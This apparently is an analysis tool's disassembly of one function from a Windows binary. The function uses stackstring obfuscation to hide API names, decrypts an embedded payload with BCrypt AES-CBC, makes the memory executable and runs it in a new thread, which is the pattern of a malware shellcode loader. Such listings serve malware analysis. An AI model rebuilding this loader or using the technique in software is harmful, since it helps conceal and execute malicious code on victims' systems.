Function at 0x140001238
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x88
xor r15d, r15d
lea rdx, [0x140002030]
xor r9d, r9d
mov qword [rbp + 0x7f], r15
xor r8d, r8d
lea rcx, [rbp + 0x7f]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
jne 0x140001709
lea rcx, [0x140002038]
call section..text
movdqa xmm0, xmmword [0x140002150]
lea rdx, [rbp - 0x11]
mov rcx, rax
mov word [rbp - 1], 0x79
movdqu xmmword [rbp - 0x11], xmm0
mov rdi, rax
call fcn.1400010d8
mov rcx, qword [rbp + 0x7f]
lea r9d, [r15 + 0x20]
lea r8, str.ChainingModeCBC
mov dword [rsp + 0x20], r15d
lea rdx, str.ChainingMode
call rax
test eax, eax
jne 0x140001709
movdqa xmm0, xmmword [0x140002140]
lea rdx, [rbp - 0x11]
mov rcx, rdi
mov word [rbp - 1], 0x79
movdqu xmmword [rbp - 0x11], xmm0
call fcn.1400010d8
mov rcx, qword [rbp + 0x7f]
lea rdx, str.ObjectLength
mov r14, rax
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0x6f]
mov dword [rbp + 0x6f], r15d
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call r14
test eax, eax
jne 0x140001709
mov esi, dword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001709
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
mov dword [rsp + 0x28], r15d
lea rdx, str.ObjectLength
mov r9d, esi
mov qword [rsp + 0x20], rax
mov r8, rbx
call r14
test eax, eax
jne 0x140001709
mov esi, dword [rbx]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x140001709
movdqa xmm0, xmmword [str.BCryptImportKey]
lea rdx, [rbp - 0x11]
mov rcx, rdi
movdqu xmmword [rbp - 0x11], xmm0
call fcn.1400010d8
mov dword [rsp + 0x40], r15d
lea rcx, str.KDBM
mov dword [rsp + 0x38], 0x2c
lea r9, [rbp - 0x19]
mov qword [rsp + 0x30], rcx
lea r8, str.KeyDataBlob
mov rcx, qword [rbp + 0x7f]
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
mov qword [rbp - 0x19], r15
call rax
test eax, eax
jne 0x140001709
movdqa xmm0, xmmword [0x140002130]
lea rdx, [rbp - 0x11]
mov rcx, rdi
mov dword [rbp - 1], 0x6d687469
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp + 3], 0x766f7250
mov dword [rbp + 7], 0x72656469
mov byte [rbp + 0xb], r15b
call fcn.1400010d8
mov rcx, qword [rbp + 0x7f]
xor edx, edx
call rax
test eax, eax
jne 0x140001709
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea esi, [r15 + 0x10]
xor edx, edx
mov rcx, rax
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001709
add rax, 0xf
lea rcx, [0x1400020f7]
lea rdx, [0x1400020e8]
cmp rbx, rcx
ja 0x140001486
cmp rax, rdx
jb 0x140001486
movups xmm0, xmmword [0x1400020e8]
movdqu xmmword [rbx], xmm0
jmp 0x140001491
movups xmm0, xmmword [0x1400020e8]
movdqu xmmword [rbx], xmm0
lea rdx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x79724342
mov rcx, rdi
mov dword [rbp - 0xd], 0x65447470
mov dword [rbp - 9], 0x70797263
mov word [rbp - 5], 0x74
call fcn.1400010d8
mov rcx, qword [rbp - 0x19]
lea rdx, [0x140003030]
mov dword [rsp + 0x48], 1
mov r12, rax
lea rax, [rbp + 0x67]
mov dword [rbp + 0x67], r15d
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov dword [rsp + 0x38], r15d
mov r8d, 0x4b030
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
call r12
test eax, eax
jne 0x140001709
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13d, dword [rbp + 0x67]
lea rcx, str.kernel32.dll
call section..text
lea rdx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x74726956
mov rcx, rax
mov dword [rbp - 0xd], 0x416c6175
mov rsi, rax
mov dword [rbp - 9], 0x636f6c6c
mov byte [rbp - 5], r15b
call fcn.1400010d8
xor ecx, ecx
mov edx, r13d
mov r8d, 0x3000
lea r9d, [rcx + 4]
call rax
mov r15, rax
test rax, rax
je 0x140001709
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001709
add rax, 0xf
lea rcx, [0x1400020f7]
cmp rbx, rcx
ja 0x1400015b5
lea rcx, [0x1400020e8]
cmp rax, rcx
jb 0x1400015b5
movups xmm0, xmmword [0x1400020e8]
movdqu xmmword [rbx], xmm0
jmp 0x1400015c0
movups xmm0, xmmword [0x1400020e8]
movdqu xmmword [rbx], xmm0
mov rcx, qword [rbp - 0x19]
lea rax, [rbp + 0x67]
mov dword [rsp + 0x48], 1
lea rdx, [0x140003030]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov dword [rsp + 0x38], r13d
mov r8d, 0x4b030
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x10
mov qword [rsp + 0x20], rbx
call r12
xor r12d, r12d
test eax, eax
jne 0x140001709
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movdqa xmm0, xmmword [0x140002160]
lea rdx, [rbp - 0x11]
mov rcx, rdi
mov byte [rbp - 1], r12b
movdqu xmmword [rbp - 0x11], xmm0
call fcn.1400010d8
mov rcx, qword [rbp - 0x19]
call rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rdx, [rbp - 0x11]
mov dword [rbp + 0x77], r12d
mov rcx, rsi
mov dword [rbp - 0x11], 0x74726956
mov dword [rbp - 0xd], 0x506c6175
mov dword [rbp - 9], 0x65746f72
mov word [rbp - 5], 0x7463
mov byte [rbp - 3], r12b
call fcn.1400010d8
mov edx, dword [rbp + 0x67]
lea r9, [rbp + 0x77]
lea r8d, [r12 + 0x40]
mov rcx, r15
call rax
test rax, rax
je 0x140001709
lea rdx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x61657243
mov rcx, rsi
mov dword [rbp - 0xd], 0x68546574
mov dword [rbp - 9], 0x64616572
mov byte [rbp - 5], r12b
call fcn.1400010d8
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, r15
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
test rax, rax
je 0x140001709
movdqa xmm0, xmmword [str.WaitForSingleObjBCryptCloseAlgorBCryptGetPropertBCryptSetPropertBCryptDestroyKey]
lea rdx, [rbp - 0x11]
mov rcx, rsi
mov dword [rbp - 1], 0x746365
movdqu xmmword [rbp - 0x11], xmm0
call fcn.1400010d8
or edx, 0xffffffff
mov rcx, rbx
call rax
xor eax, eax
jmp 0x14000170e
mov eax, 1
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret